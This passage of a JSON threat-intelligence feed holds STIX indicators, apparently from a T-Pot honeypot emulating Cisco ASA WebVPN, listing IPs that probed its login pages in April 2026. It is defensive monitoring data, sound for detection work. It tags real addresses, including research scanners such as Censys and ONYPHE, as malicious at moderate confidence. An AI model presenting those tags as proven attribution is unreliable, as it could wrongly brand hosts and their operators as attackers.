      "id": "indicator--a6324253-690e-4f7b-8273-aff9e8c5f9af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T01:41:36.533Z",
          "last_seen": "2026-04-23T16:19:12.834Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--52e52f6a-afff-4568-a9c7-54ff6bc0af69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T01:52:58.835Z",
          "last_seen": "2026-04-29T21:55:37.149Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--c8144429-f626-4d4c-8d73-5461d26d6692",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.131.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T02:05:53.225Z",
          "last_seen": "2026-04-10T02:05:56.228Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--fa56facb-af44-4d84-ad06-41407925f623",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T01:50:24.011Z",
          "last_seen": "2026-04-10T01:51:06.709Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--70bd83f8-236e-4f15-9ad0-ccbf9b2f0f7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-10T01:22:03.605Z",
          "last_seen": "2026-04-29T01:36:35.751Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--125b5ce1-b95d-4a38-aaf5-ba25e701089c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T01:22:53.020Z",
          "last_seen": "2026-04-29T20:37:34.953Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--451d1dc3-5669-416e-9c5b-540d768ccb53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T02:25:05.453Z",
          "last_seen": "2026-04-29T05:10:26.826Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--22258582-2d68-4e19-8193-fe748bf06bd8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T02:40:34.752Z",
          "last_seen": "2026-04-29T23:14:11.673Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a9ece17f-28d1-4f51-bfeb-fca6209abe64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T02:23:57.245Z",
          "last_seen": "2026-04-10T02:23:57.245Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--ae8d0337-8452-4f10-b1d1-adfe7246ee3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T02:30:51.473Z",
          "last_seen": "2026-04-10T02:30:51.473Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--bac03481-2d3b-41d6-bcde-1a37c8e3064f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-10T03:06:04.530Z",
          "last_seen": "2026-04-23T19:15:27.241Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--9e407c01-265f-4405-ba8d-6c5cdcd75774",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T03:14:05.210Z",
          "last_seen": "2026-04-26T02:14:31.124Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0d4ace49-2b61-4f47-bb43-a3c57f7a40b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T03:12:37.144Z",
          "last_seen": "2026-04-23T02:04:53.418Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b506f90e-fcb0-449e-be6b-e435be1014a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T02:59:33.943Z",
          "last_seen": "2026-04-29T22:45:53.718Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a5513687-22f1-4239-a41b-e3cc8a0035aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T02:55:23.333Z",
          "last_seen": "2026-04-29T23:15:53.912Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7de5b740-f1b5-4090-9c74-4e6b5478de4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T02:56:28.004Z",
          "last_seen": "2026-04-24T12:55:55.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--878ab801-bc15-4cb0-9f26-17bb71ba9a28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:20:10.000Z",
      "valid_until": "2026-05-12T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T02:42:14.832Z",
          "last_seen": "2026-04-25T03:52:34.078Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: JP; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--f2226a69-1e3a-412a-ac90-3459ac51a2c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.194.228.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 20,
          "first_seen": "2026-04-10T04:56:41.415Z",
          "last_seen": "2026-04-10T04:57:33.246Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5f612b5b-fdef-47b0-9bda-a195f8771d29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T04:57:48.943Z",
          "last_seen": "2026-04-23T11:22:53.651Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--37d72081-cce8-43d9-a033-4d12aa2f912a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T22:18:13.041Z",
          "last_seen": "2026-04-10T06:17:03.129Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e57f00fc-8e82-4284-be33-fb9f6bc5ed6d",
